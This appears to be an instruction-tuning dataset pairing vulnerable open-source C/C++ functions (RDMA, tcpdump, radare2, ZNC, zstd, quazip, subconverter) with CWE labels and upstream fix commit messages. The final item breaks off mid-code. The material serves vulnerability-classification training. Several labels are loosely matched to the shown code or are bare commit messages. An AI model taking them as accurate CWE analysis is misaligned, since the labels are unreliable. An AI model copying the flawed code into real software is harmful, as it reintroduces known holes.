<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static ssize_t ucma_write(struct file *filp, const char __user *buf, size_t len, loff_t *pos) { struct ucma_file *file = filp->private_data; struct rdma_ucm_cmd_hdr hdr; ssize_t ret; if (len < sizeof(hdr)) return -EINVAL; if (copy_from_user(&hdr, buf, sizeof(hdr))) return -EFAULT; if (hdr.cmd >= ARRAY_SIZE(ucma_cmd_table)) return -EINVAL; if (hdr.in + sizeof(hdr) > len) return -EINVAL; if (!ucma_cmd_table[hdr.cmd]) return -ENOSYS; ret = ucma_cmd_table[hdr.cmd](file, buf + sizeof(hdr), hdr.in, hdr.out); if (!ret) ret = len; return ret; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-284', 'CWE-264'], 'message': 'IB/security: Restrict use of the write() interface The drivers/infiniband stack uses write() as a replacement for bi-directional ioctl(). This is not safe. There are ways to trigger write calls that result in the return structure that is normally written to user space being shunted off to user specified kernel memory instead. For the immediate repair, detect and deny suspicious accesses to the write API. For long term, update the user space libraries and the kernel API to something that doesn't present the same security vulnerabilities (likely a structured ioctl() interface). The impacted uAPI interfaces are generally only available if hardware from drivers/infiniband is installed in the system. Reported-by: Jann Horn <jann@thejh.net> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> Signed-off-by: Jason Gunthorpe <jgunthorpe@obsidianresearch.com> [ Expanded check to all known write() entry points ] Cc: stable@vger.kernel.org Signed-off-by: Doug Ledford <dledford@redhat.com>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: isis_print_mt_port_cap_subtlv(netdissect_options *ndo, const uint8_t *tptr, int len) { int stlv_type, stlv_len; const struct isis_subtlv_spb_mcid *subtlv_spb_mcid; int i; while (len > 2) { stlv_type = *(tptr++); stlv_len = *(tptr++); /* first lets see if we know the subTLVs name*/ ND_PRINT((ndo, "\n\t %s subTLV #%u, length: %u", tok2str(isis_mt_port_cap_subtlv_values, "unknown", stlv_type), stlv_type, stlv_len)); /*len -= TLV_TYPE_LEN_OFFSET;*/ len = len -2; switch (stlv_type) { case ISIS_SUBTLV_SPB_MCID: { ND_TCHECK2(*(tptr), ISIS_SUBTLV_SPB_MCID_MIN_LEN); subtlv_spb_mcid = (const struct isis_subtlv_spb_mcid *)tptr; ND_PRINT((ndo, "\n\t MCID: ")); isis_print_mcid(ndo, &(subtlv_spb_mcid->mcid)); /*tptr += SPB_MCID_MIN_LEN; len -= SPB_MCID_MIN_LEN; */ ND_PRINT((ndo, "\n\t AUX-MCID: ")); isis_print_mcid(ndo, &(subtlv_spb_mcid->aux_mcid)); /*tptr += SPB_MCID_MIN_LEN; len -= SPB_MCID_MIN_LEN; */ tptr = tptr + sizeof(struct isis_subtlv_spb_mcid); len = len - sizeof(struct isis_subtlv_spb_mcid); break; } case ISIS_SUBTLV_SPB_DIGEST: { ND_TCHECK2(*(tptr), ISIS_SUBTLV_SPB_DIGEST_MIN_LEN); ND_PRINT((ndo, "\n\t RES: %d V: %d A: %d D: %d", (*(tptr) >> 5), (((*tptr)>> 4) & 0x01), ((*(tptr) >> 2) & 0x03), ((*tptr) & 0x03))); tptr++; ND_PRINT((ndo, "\n\t Digest: ")); for(i=1;i<=8; i++) { ND_PRINT((ndo, "%08x ", EXTRACT_32BITS(tptr))); if (i%4 == 0 && i != 8) ND_PRINT((ndo, "\n\t ")); tptr = tptr + 4; } len = len - ISIS_SUBTLV_SPB_DIGEST_MIN_LEN; break; } case ISIS_SUBTLV_SPB_BVID: { ND_TCHECK2(*(tptr), stlv_len); while (len >= ISIS_SUBTLV_SPB_BVID_MIN_LEN) { ND_TCHECK2(*(tptr), ISIS_SUBTLV_SPB_BVID_MIN_LEN); ND_PRINT((ndo, "\n\t ECT: %08x", EXTRACT_32BITS(tptr))); tptr = tptr+4; ND_PRINT((ndo, " BVID: %d, U:%01x M:%01x ", (EXTRACT_16BITS (tptr) >> 4) , (EXTRACT_16BITS (tptr) >> 3) & 0x01, (EXTRACT_16BITS (tptr) >> 2) & 0x01)); tptr = tptr + 2; len = len - ISIS_SUBTLV_SPB_BVID_MIN_LEN; } break; } default: break; } } return 0; trunc: ND_PRINT((ndo, "\n\t\t")); ND_PRINT((ndo, "%s", tstr)); return(1); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'CVE-2017-13026/IS-IS: Clean up processing of subTLVs. Add bounds checks, do a common check to make sure we captured the entire subTLV, add checks to make sure the subTLV fits within the TLV. This fixes a buffer over-read discovered by Bhargava Shastry, SecT/TU Berlin. Add tests using the capture files supplied by the reporter(s), modified so the capture files won't be rejected as an invalid capture. Update existing tests for changes to IS-IS dissector.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: _fep_open_control_socket (Fep *fep) { struct sockaddr_un sun; char *path; int fd; ssize_t sun_len; fd = socket (AF_UNIX, SOCK_STREAM, 0); if (fd < 0) { perror ("socket"); return -1; } path = create_socket_name ("fep-XXXXXX/control"); if (strlen (path) + 1 >= sizeof(sun.sun_path)) { fep_log (FEP_LOG_LEVEL_WARNING, "unix domain socket path too long: %d + 1 >= %d", strlen (path), sizeof (sun.sun_path)); free (path); return -1; } memset (&sun, 0, sizeof(sun)); sun.sun_family = AF_UNIX; #ifdef __linux__ sun.sun_path[0] = '\0'; memcpy (sun.sun_path + 1, path, strlen (path)); sun_len = offsetof (struct sockaddr_un, sun_path) + strlen (path) + 1; remove_control_socket (path); #else memcpy (sun.sun_path, path, strlen (path)); sun_len = sizeof (struct sockaddr_un); #endif if (bind (fd, (const struct sockaddr *) &sun, sun_len) < 0) { perror ("bind"); free (path); close (fd); return -1; } if (listen (fd, 5) < 0) { perror ("listen"); free (path); close (fd); return -1; } fep->server = fd; fep->control_socket_path = path; return 0; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-264'], 'message': 'Don't use abstract Unix domain sockets'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: ModHandle CModules::OpenModule(const CString& sModule, const CString& sModPath, CModInfo& Info, CString& sRetMsg) { // Some sane defaults in case anything errors out below sRetMsg.clear(); for (unsigned int a = 0; a < sModule.length(); a++) { if (((sModule[a] < '0') || (sModule[a] > '9')) && ((sModule[a] < 'a') || (sModule[a] > 'z')) && ((sModule[a] < 'A') || (sModule[a] > 'Z')) && (sModule[a] != '_')) { sRetMsg = t_f("Module names can only contain letters, numbers and " "underscores, [{1}] is invalid")(sModule); return nullptr; } } // The second argument to dlopen() has a long history. It seems clear // that (despite what the man page says) we must include either of // RTLD_NOW and RTLD_LAZY and either of RTLD_GLOBAL and RTLD_LOCAL. // // RTLD_NOW vs. RTLD_LAZY: We use RTLD_NOW to avoid ZNC dying due to // failed symbol lookups later on. Doesn't really seem to have much of a // performance impact. // // RTLD_GLOBAL vs. RTLD_LOCAL: If perl is loaded with RTLD_LOCAL and later // on loads own modules (which it apparently does with RTLD_LAZY), we will // die in a name lookup since one of perl's symbols isn't found. That's // worse than any theoretical issue with RTLD_GLOBAL. ModHandle p = dlopen((sModPath).c_str(), RTLD_NOW | RTLD_GLOBAL); if (!p) { // dlerror() returns pointer to static buffer, which may be overwritten // very soon with another dl call also it may just return null. const char* cDlError = dlerror(); CString sDlError = cDlError ? cDlError : t_s("Unknown error"); sRetMsg = t_f("Unable to open module {1}: {2}")(sModule, sDlError); return nullptr; } const CModuleEntry* (*fpZNCModuleEntry)() = nullptr; // man dlsym(3) explains this *reinterpret_cast<void**>(&fpZNCModuleEntry) = dlsym(p, "ZNCModuleEntry"); if (!fpZNCModuleEntry) { dlclose(p); sRetMsg = t_f("Could not find ZNCModuleEntry in module {1}")(sModule); return nullptr; } const CModuleEntry* pModuleEntry = fpZNCModuleEntry(); if (std::strcmp(pModuleEntry->pcVersion, VERSION_STR) || std::strcmp(pModuleEntry->pcVersionExtra, VERSION_EXTRA)) { sRetMsg = t_f( "Version mismatch for module {1}: core is {2}, module is built for " "{3}. Recompile this module.")( sModule, VERSION_STR VERSION_EXTRA, CString(pModuleEntry->pcVersion) + pModuleEntry->pcVersionExtra); dlclose(p); return nullptr; } if (std::strcmp(pModuleEntry->pcCompileOptions, ZNC_COMPILE_OPTIONS_STRING)) { sRetMsg = t_f( "Module {1} is built incompatibly: core is '{2}', module is '{3}'. " "Recompile this module.")(sModule, ZNC_COMPILE_OPTIONS_STRING, pModuleEntry->pcCompileOptions); dlclose(p); return nullptr; } CTranslationDomainRefHolder translation("znc-" + sModule); pModuleEntry->fpFillModInfo(Info); sRetMsg = ""; return p; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-20', 'CWE-264'], 'message': 'Fix remote code execution and privilege escalation vulnerability. To trigger this, need to have a user already. Thanks for Jeriko One <jeriko.one@gmx.us> for finding and reporting this. CVE-2019-12816'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: R_API RConfigNode* r_config_set(RConfig *cfg, const char *name, const char *value) { RConfigNode *node = NULL; char *ov = NULL; ut64 oi; if (!cfg || STRNULL (name)) { return NULL; } node = r_config_node_get (cfg, name); if (node) { if (node->flags & CN_RO) { eprintf ("(error: '%s' config key is read only)\n", name); return node; } oi = node->i_value; if (node->value) { ov = strdup (node->value); if (!ov) { goto beach; } } else { free (node->value); node->value = strdup (""); } if (node->flags & CN_BOOL) { bool b = is_true (value); node->i_value = (ut64) b? 1: 0; char *value = strdup (r_str_bool (b)); if (value) { free (node->value); node->value = value; } } else { if (!value) { free (node->value); node->value = strdup (""); node->i_value = 0; } else { if (node->value == value) { goto beach; } free (node->value); node->value = strdup (value); if (IS_DIGIT (*value)) { if (strchr (value, '/')) { node->i_value = r_num_get (cfg->num, value); } else { node->i_value = r_num_math (cfg->num, value); } } else { node->i_value = 0; } node->flags |= CN_INT; } } } else { // Create a new RConfigNode oi = UT64_MAX; if (!cfg->lock) { node = r_config_node_new (name, value); if (node) { if (value && is_bool (value)) { node->flags |= CN_BOOL; node->i_value = is_true (value)? 1: 0; } if (cfg->ht) { ht_insert (cfg->ht, node->name, node); r_list_append (cfg->nodes, node); cfg->n_nodes++; } } else { eprintf ("r_config_set: unable to create a new RConfigNode\n"); } } else { eprintf ("r_config_set: variable '%s' not found\n", name); } } if (node && node->setter) { int ret = node->setter (cfg->user, node); if (ret == false) { if (oi != UT64_MAX) { node->i_value = oi; } free (node->value); node->value = strdup (ov? ov: ""); } } beach: free (ov); return node; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-416'], 'message': 'Fix #7698 - UAF in r_config_set when loading a dex'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: ZSTD_encodeSequences_body( void* dst, size_t dstCapacity, FSE_CTable const* CTable_MatchLength, BYTE const* mlCodeTable, FSE_CTable const* CTable_OffsetBits, BYTE const* ofCodeTable, FSE_CTable const* CTable_LitLength, BYTE const* llCodeTable, seqDef const* sequences, size_t nbSeq, int longOffsets) { BIT_CStream_t blockStream; FSE_CState_t stateMatchLength; FSE_CState_t stateOffsetBits; FSE_CState_t stateLitLength; CHECK_E(BIT_initCStream(&blockStream, dst, dstCapacity), dstSize_tooSmall); /* not enough space remaining */ /* first symbols */ FSE_initCState2(&stateMatchLength, CTable_MatchLength, mlCodeTable[nbSeq-1]); FSE_initCState2(&stateOffsetBits, CTable_OffsetBits, ofCodeTable[nbSeq-1]); FSE_initCState2(&stateLitLength, CTable_LitLength, llCodeTable[nbSeq-1]); BIT_addBits(&blockStream, sequences[nbSeq-1].litLength, LL_bits[llCodeTable[nbSeq-1]]); if (MEM_32bits()) BIT_flushBits(&blockStream); BIT_addBits(&blockStream, sequences[nbSeq-1].matchLength, ML_bits[mlCodeTable[nbSeq-1]]); if (MEM_32bits()) BIT_flushBits(&blockStream); if (longOffsets) { U32 const ofBits = ofCodeTable[nbSeq-1]; int const extraBits = ofBits - MIN(ofBits, STREAM_ACCUMULATOR_MIN-1); if (extraBits) { BIT_addBits(&blockStream, sequences[nbSeq-1].offset, extraBits); BIT_flushBits(&blockStream); } BIT_addBits(&blockStream, sequences[nbSeq-1].offset >> extraBits, ofBits - extraBits); } else { BIT_addBits(&blockStream, sequences[nbSeq-1].offset, ofCodeTable[nbSeq-1]); } BIT_flushBits(&blockStream); { size_t n; for (n=nbSeq-2 ; n<nbSeq ; n--) { /* intentional underflow */ BYTE const llCode = llCodeTable[n]; BYTE const ofCode = ofCodeTable[n]; BYTE const mlCode = mlCodeTable[n]; U32 const llBits = LL_bits[llCode]; U32 const ofBits = ofCode; U32 const mlBits = ML_bits[mlCode]; DEBUGLOG(6, "encoding: litlen:%2u - matchlen:%2u - offCode:%7u", sequences[n].litLength, sequences[n].matchLength + MINMATCH, sequences[n].offset); /* 32b*/ /* 64b*/ /* (7)*/ /* (7)*/ FSE_encodeSymbol(&blockStream, &stateOffsetBits, ofCode); /* 15 */ /* 15 */ FSE_encodeSymbol(&blockStream, &stateMatchLength, mlCode); /* 24 */ /* 24 */ if (MEM_32bits()) BIT_flushBits(&blockStream); /* (7)*/ FSE_encodeSymbol(&blockStream, &stateLitLength, llCode); /* 16 */ /* 33 */ if (MEM_32bits() || (ofBits+mlBits+llBits >= 64-7-(LLFSELog+MLFSELog+OffFSELog))) BIT_flushBits(&blockStream); /* (7)*/ BIT_addBits(&blockStream, sequences[n].litLength, llBits); if (MEM_32bits() && ((llBits+mlBits)>24)) BIT_flushBits(&blockStream); BIT_addBits(&blockStream, sequences[n].matchLength, mlBits); if (MEM_32bits() || (ofBits+mlBits+llBits > 56)) BIT_flushBits(&blockStream); if (longOffsets) { int const extraBits = ofBits - MIN(ofBits, STREAM_ACCUMULATOR_MIN-1); if (extraBits) { BIT_addBits(&blockStream, sequences[n].offset, extraBits); BIT_flushBits(&blockStream); /* (7)*/ } BIT_addBits(&blockStream, sequences[n].offset >> extraBits, ofBits - extraBits); /* 31 */ } else { BIT_addBits(&blockStream, sequences[n].offset, ofBits); /* 31 */ } BIT_flushBits(&blockStream); /* (7)*/ } } DEBUGLOG(6, "ZSTD_encodeSequences: flushing ML state with %u bits", stateMatchLength.stateLog); FSE_flushCState(&blockStream, &stateMatchLength); DEBUGLOG(6, "ZSTD_encodeSequences: flushing Off state with %u bits", stateOffsetBits.stateLog); FSE_flushCState(&blockStream, &stateOffsetBits); DEBUGLOG(6, "ZSTD_encodeSequences: flushing LL state with %u bits", stateLitLength.stateLog); FSE_flushCState(&blockStream, &stateLitLength); { size_t const streamSize = BIT_closeCStream(&blockStream); if (streamSize==0) return ERROR(dstSize_tooSmall); /* not enough space */ return streamSize; } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-362'], 'message': 'fixed T36302429'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: void TestJlCompress::extractDir_data() { QTest::addColumn<QString>("zipName"); QTest::addColumn<QStringList>("fileNames"); QTest::newRow("simple") << "jlextdir.zip" << ( QStringList() << "test0.txt" << "testdir1/test1.txt" << "testdir2/test2.txt" << "testdir2/subdir/test2sub.txt"); QTest::newRow("separate dir") << "sepdir.zip" << ( QStringList() << "laj/" << "laj/lajfile.txt"); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-22'], 'message': 'Fixed the Zip Slip vulnerability in JlCompress When extracting a file with a dangerous path like "../evil.exe" from a ZIP archive with JlCompress::extractDir(), the target file would be created outside of the target directory, potentially even overwriting an existing file there.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: std::string subconverter(RESPONSE_CALLBACK_ARGS) { std::string &argument = request.argument; int *status_code = &response.status_code; std::string argTarget = getUrlArg(argument, "target"), argSurgeVer = getUrlArg(argument, "ver"); tribool argClashNewField = getUrlArg(argument, "new_name"); int intSurgeVer = argSurgeVer.size() ? to_int(argSurgeVer, 3) : 3; if(argTarget == "auto") matchUserAgent(request.headers["User-Agent"], argTarget, argClashNewField, intSurgeVer); /// don't try to load groups or rulesets when generating simple subscriptions bool lSimpleSubscription = false; switch(hash_(argTarget)) { case "ss"_hash: case "ssd"_hash: case "ssr"_hash: case "sssub"_hash: case "v2ray"_hash: case "trojan"_hash: case "mixed"_hash: lSimpleSubscription = true; break; case "clash"_hash: case "clashr"_hash: case "surge"_hash: case "quan"_hash: case "quanx"_hash: case "loon"_hash: case "surfboard"_hash: case "mellow"_hash: break; default: *status_code = 400; return "Invalid target!"; } //check if we need to read configuration if((!global.APIMode || global.CFWChildProcess) && !global.generatorMode) readConf(); /// string values std::string argUrl = urlDecode(getUrlArg(argument, "url")); std::string argGroupName = urlDecode(getUrlArg(argument, "group")), argUploadPath = getUrlArg(argument, "upload_path"); std::string argIncludeRemark = urlDecode(getUrlArg(argument, "include")), argExcludeRemark = urlDecode(getUrlArg(argument, "exclude")); std::string argCustomGroups = urlSafeBase64Decode(getUrlArg(argument, "groups")), argCustomRulesets = urlSafeBase64Decode(getUrlArg(argument, "ruleset")), argExternalConfig = urlDecode(getUrlArg(argument, "config")); std::string argDeviceID = getUrlArg(argument, "dev_id"), argFilename = urlDecode(getUrlArg(argument, "filename")), argUpdateInterval = getUrlArg(argument, "interval"), argUpdateStrict = getUrlArg(argument, "strict"); std::string argRenames = urlDecode(getUrlArg(argument, "rename")), argFilterScript = urlDecode(getUrlArg(argument, "filter_script")); /// switches with default value tribool argUpload = getUrlArg(argument, "upload"), argEmoji = getUrlArg(argument, "emoji"), argAddEmoji = getUrlArg(argument, "add_emoji"), argRemoveEmoji = getUrlArg(argument, "remove_emoji"); tribool argAppendType = getUrlArg(argument, "append_type"), argTFO = getUrlArg(argument, "tfo"), argUDP = getUrlArg(argument, "udp"), argGenNodeList = getUrlArg(argument, "list"); tribool argSort = getUrlArg(argument, "sort"), argUseSortScript = getUrlArg(argument, "sort_script"); tribool argGenClashScript = getUrlArg(argument, "script"), argEnableInsert = getUrlArg(argument, "insert"); tribool argSkipCertVerify = getUrlArg(argument, "scv"), argFilterDeprecated = getUrlArg(argument, "fdn"), argExpandRulesets = getUrlArg(argument, "expand"), argAppendUserinfo = getUrlArg(argument, "append_info"); tribool argPrependInsert = getUrlArg(argument, "prepend"), argGenClassicalRuleProvider = getUrlArg(argument, "classic"), argTLS13 = getUrlArg(argument, "tls13"); std::string base_content, output_content; ProxyGroupConfigs lCustomProxyGroups = global.customProxyGroups; RulesetConfigs lCustomRulesets = global.customRulesets; string_array lIncludeRemarks = global.includeRemarks, lExcludeRemarks = global.excludeRemarks; std::vector<RulesetContent> lRulesetContent; extra_settings ext; std::string subInfo, dummy; int interval = argUpdateInterval.size() ? to_int(argUpdateInterval, global.updateInterval) : global.updateInterval; bool authorized = !global.APIMode || getUrlArg(argument, "token") == global.accessToken, strict = argUpdateStrict.size() ? argUpdateStrict == "true" : global.updateStrict; if(std::find(gRegexBlacklist.cbegin(), gRegexBlacklist.cend(), argIncludeRemark) != gRegexBlacklist.cend() || std::find(gRegexBlacklist.cbegin(), gRegexBlacklist.cend(), argExcludeRemark) != gRegexBlacklist.cend()) return "Invalid request!"; /// for external configuration std::string lClashBase = global.clashBase, lSurgeBase = global.surgeBase, lMellowBase = global.mellowBase, lSurfboardBase = global.surfboardBase; std::string lQuanBase = global.quanBase, lQuanXBase = global.quanXBase, lLoonBase = global.loonBase, lSSSubBase = global.SSSubBase; /// validate urls argEnableInsert.define(global.enableInsert); if(!argUrl.size() && (!global.APIMode || authorized)) argUrl = global.defaultUrls; if((!argUrl.size() && !(global.insertUrls.size() && argEnableInsert)) || !argTarget.size()) { *status_code = 400; return "Invalid request!"; } /// load request arguments as template variables string_array req_args = split(argument, "&"); string_map req_arg_map; for(std::string &x : req_args) { string_size pos = x.find("="); if(pos == x.npos) { req_arg_map[x] = ""; continue; } if(x.substr(0, pos) == "token") continue; req_arg_map[x.substr(0, pos)] = x.substr(pos + 1); } req_arg_map["target"] = argTarget; req_arg_map["ver"] = std::to_string(intSurgeVer); /// save template variables template_args tpl_args; tpl_args.global_vars = global.templateVars; tpl_args.request_params = req_arg_map; /// check for proxy settings std::string proxy = parseProxy(global.proxySubscription); /// check other flags ext.append_proxy_type = argAppendType.get(global.appendType); if((argTarget == "clash" || argTarget == "clashr") && argGenClashScript.is_undef()) argExpandRulesets.define(true); ext.clash_proxies_style = global.clashProxiesStyle; /// read preference from argument, assign global var if not in argument ext.tfo.define(argTFO).define(global.TFOFlag); ext.udp.define(argUDP).define(global.UDPFlag); ext.skip_cert_verify.define(argSkipCertVerify).define(global.skipCertVerify); ext.tls13.define(argTLS13).define(global.TLS13Flag); ext.sort_flag = argSort.get(global.enableSort); argUseSortScript.define(global.sortScript.size() != 0); if(ext.sort_flag && argUseSortScript) ext.sort_script = global.sortScript; ext.filter_deprecated = argFilterDeprecated.get(global.filterDeprecated); ext.clash_new_field_name = argClashNewField.get(global.clashUseNewField); ext.clash_script = argGenClashScript.get(); ext.clash_classical_ruleset = argGenClassicalRuleProvider.get(); if(!argExpandRulesets) ext.clash_new_field_name = true; else ext.clash_script = false; ext.nodelist = argGenNodeList; ext.surge_ssr_path = global.surgeSSRPath; ext.quanx_dev_id = argDeviceID.size() ? argDeviceID : global.quanXDevID; ext.enable_rule_generator = global.enableRuleGen; ext.overwrite_original_rules = global.overwriteOriginalRules; if(!argExpandRulesets) ext.managed_config_prefix = global.managedConfigPrefix; /// load external configuration if(argExternalConfig.empty()) argExternalConfig = global.defaultExtConfig; if(argExternalConfig.size()) { //std::cerr<<"External configuration file provided. Loading...\n"; writeLog(0, "External configuration file provided. Loading...", LOG_LEVEL_INFO); ExternalConfig extconf; extconf.tpl_args = &tpl_args; if(loadExternalConfig(argExternalConfig, extconf) == 0) { if(!ext.nodelist) { checkExternalBase(extconf.sssub_rule_base, lSSSubBase); if(!lSimpleSubscription) { checkExternalBase(extconf.clash_rule_base, lClashBase); checkExternalBase(extconf.surge_rule_base, lSurgeBase); checkExternalBase(extconf.surfboard_rule_base, lSurfboardBase); checkExternalBase(extconf.mellow_rule_base, lMellowBase); checkExternalBase(extconf.quan_rule_base, lQuanBase); checkExternalBase(extconf.quanx_rule_base, lQuanXBase); checkExternalBase(extconf.loon_rule_base, lLoonBase); if(extconf.surge_ruleset.size()) lCustomRulesets = extconf.surge_ruleset; if(extconf.custom_proxy_group.size()) lCustomProxyGroups = extconf.custom_proxy_group; ext.enable_rule_generator = extconf.enable_rule_generator; ext.overwrite_original_rules = extconf.overwrite_original_rules; } } if(extconf.rename.size()) ext.rename_array = extconf.rename; if(extconf.emoji.size()) ext.emoji_array = extconf.emoji; if(extconf.include.size()) lIncludeRemarks = extconf.include; if(extconf.exclude.size()) lExcludeRemarks = extconf.exclude; argAddEmoji.define(extconf.add_emoji); argRemoveEmoji.define(extconf.remove_old_emoji); } } else { if(!lSimpleSubscription) { /// loading custom groups if(argCustomGroups.size() && !ext.nodelist) { string_array vArray = split(argCustomGroups, "@"); lCustomProxyGroups = INIBinding::from<ProxyGroupConfig>::from_ini(vArray); } /// loading custom rulesets if(argCustomRulesets.size() && !ext.nodelist) { string_array vArray = split(argCustomRulesets, "@"); lCustomRulesets = INIBinding::from<RulesetConfig>::from_ini(vArray); } } } if(ext.enable_rule_generator && !ext.nodelist && !lSimpleSubscription) { if(lCustomRulesets != global.customRulesets) refreshRulesets(lCustomRulesets, lRulesetContent); else { if(global.updateRulesetOnRequest) refreshRulesets(global.customRulesets, global.rulesetsContent); lRulesetContent = global.rulesetsContent; } } if(!argEmoji.is_undef()) { argAddEmoji.set(argEmoji); argRemoveEmoji.set(true); } ext.add_emoji = argAddEmoji.get(global.addEmoji); ext.remove_emoji = argRemoveEmoji.get(global.removeEmoji); if(ext.add_emoji && ext.emoji_array.empty()) ext.emoji_array = safe_get_emojis(); if(argRenames.size()) ext.rename_array = INIBinding::from<RegexMatchConfig>::from_ini(split(argRenames, "`"), "@"); else if(ext.rename_array.empty()) ext.rename_array = safe_get_renames(); /// check custom include/exclude settings if(argIncludeRemark.size() && regValid(argIncludeRemark)) lIncludeRemarks = string_array{argIncludeRemark}; if(argExcludeRemark.size() && regValid(argExcludeRemark)) lExcludeRemarks = string_array{argExcludeRemark}; /// initialize script runtime if(authorized && !global.scriptCleanContext) { ext.js_runtime = new qjs::Runtime(); script_runtime_init(*ext.js_runtime); ext.js_context = new qjs::Context(*ext.js_runtime); script_context_init(*ext.js_context); } //start parsing urls RegexMatchConfigs stream_temp = safe_get_streams(), time_temp = safe_get_times(); //loading urls string_array urls; std::vector<Proxy> nodes, insert_nodes; int groupID = 0; parse_settings parse_set; parse_set.proxy = &proxy; parse_set.exclude_remarks = &lExcludeRemarks; parse_set.include_remarks = &lIncludeRemarks; parse_set.stream_rules = &stream_temp; parse_set.time_rules = &time_temp; parse_set.sub_info = &subInfo; parse_set.authorized = authorized; parse_set.request_header = &request.headers; parse_set.js_runtime = ext.js_runtime; parse_set.js_context = ext.js_context; if(global.insertUrls.size() && argEnableInsert) { groupID = -1; urls = split(global.insertUrls, "|"); importItems(urls, true); for(std::string &x : urls) { x = regTrim(x); writeLog(0, "Fetching node data from url '" + x + "'.", LOG_LEVEL_INFO); if(addNodes(x, insert_nodes, groupID, parse_set) == -1) { if(global.skipFailedLinks) writeLog(0, "The following link doesn't contain any valid node info: " + x, LOG_LEVEL_WARNING); else { *status_code = 400; return "The following link doesn't contain any valid node info: " + x; } } groupID--; } } urls = split(argUrl, "|"); importItems(urls, true); groupID = 0; for(std::string &x : urls) { x = regTrim(x); //std::cerr<<"Fetching node data from url '"<<x<<"'."<<std::endl; writeLog(0, "Fetching node data from url '" + x + "'.", LOG_LEVEL_INFO); if(addNodes(x, nodes, groupID, parse_set) == -1) { if(global.skipFailedLinks) writeLog(0, "The following link doesn't contain any valid node info: " + x, LOG_LEVEL_WARNING); else { *status_code = 400; return "The following link doesn't contain any valid node info: " + x; } } groupID++; } //exit if found nothing if(!nodes.size() && !insert_nodes.size()) { *status_code = 400; return "No nodes were found!"; } if(subInfo.size() && argAppendUserinfo.get(global.appendUserinfo)) response.headers.emplace("Subscription-UserInfo", subInfo); if(request.method == "HEAD") return ""; argPrependInsert.define(global.prependInsert); if(argPrependInsert) { std::move(nodes.begin(), nodes.end(), std::back_inserter(insert_nodes)); nodes.swap(insert_nodes); } else { std::move(insert_nodes.begin(), insert_nodes.end(), std::back_inserter(nodes)); } //run filter script std::string filterScript = global.filterScript; if(authorized && !argFilterScript.empty()) filterScript = argFilterScript; if(filterScript.size()) { if(startsWith(filterScript, "path:")) filterScript = fileGet(filterScript.substr(5), false); /* duk_context *ctx = duktape_init(); if(ctx) { defer(duk_destroy_heap(ctx);) if(duktape_peval(ctx, filterScript) == 0) { auto filter = [&](const Proxy &x) { duk_get_global_string(ctx, "filter"); duktape_push_Proxy(ctx, x); duk_pcall(ctx, 1); return !duktape_get_res_bool(ctx); }; nodes.erase(std::remove_if(nodes.begin(), nodes.end(), filter), nodes.end()); } else { writeLog(0, "Error when trying to parse script:\n" + duktape_get_err_stack(ctx), LOG_LEVEL_ERROR); duk_pop(ctx); /// pop err } } */ script_safe_runner(ext.js_runtime, ext.js_context, [&](qjs::Context &ctx) { try { ctx.eval(filterScript); auto filter = (std::function<bool(const Proxy&)>) ctx.eval("filter"); nodes.erase(std::remove_if(nodes.begin(), nodes.end(), filter), nodes.end()); } catch(qjs::exception) { script_print_stack(ctx); } }, global.scriptCleanContext); } //check custom group name if(argGroupName.size()) for(Proxy &x : nodes) x.Group = argGroupName; //do pre-process now preprocessNodes(nodes, ext); /* //insert node info to template int index = 0; std::string template_node_prefix; for(Proxy &x : nodes) { template_node_prefix = std::to_string(index) + "."; tpl_args.node_list[template_node_prefix + "remarks"] = x.remarks; tpl_args.node_list[template_node_prefix + "group"] = x.Group; tpl_args.node_list[template_node_prefix + "groupid"] = std::to_string(x.GroupId); index++; } */ ProxyGroupConfigs dummy_group; std::vector<RulesetContent> dummy_ruleset; std::string managed_url = base64Decode(urlDecode(getUrlArg(argument, "profile_data"))); if(managed_url.empty()) managed_url = global.managedConfigPrefix + "/sub?" + argument; //std::cerr<<"Generate target: "; proxy = parseProxy(global.proxyConfig); switch(hash_(argTarget)) { case "clash"_hash: case "clashr"_hash: writeLog(0, argTarget == "clashr" ? "Generate target: ClashR" : "Generate target: Clash", LOG_LEVEL_INFO); tpl_args.local_vars["clash.new_field_name"] = ext.clash_new_field_name ? "true" : "false"; response.headers["profile-update-interval"] = std::to_string(interval / 3600); if(ext.nodelist) { YAML::Node yamlnode; proxyToClash(nodes, yamlnode, dummy_group, argTarget == "clashr", ext); output_content = YAML::Dump(yamlnode); } else { if(render_template(fetchFile(lClashBase, proxy, global.cacheConfig), tpl_args, base_content, global.templatePath) != 0) { *status_code = 400; return base_content; } 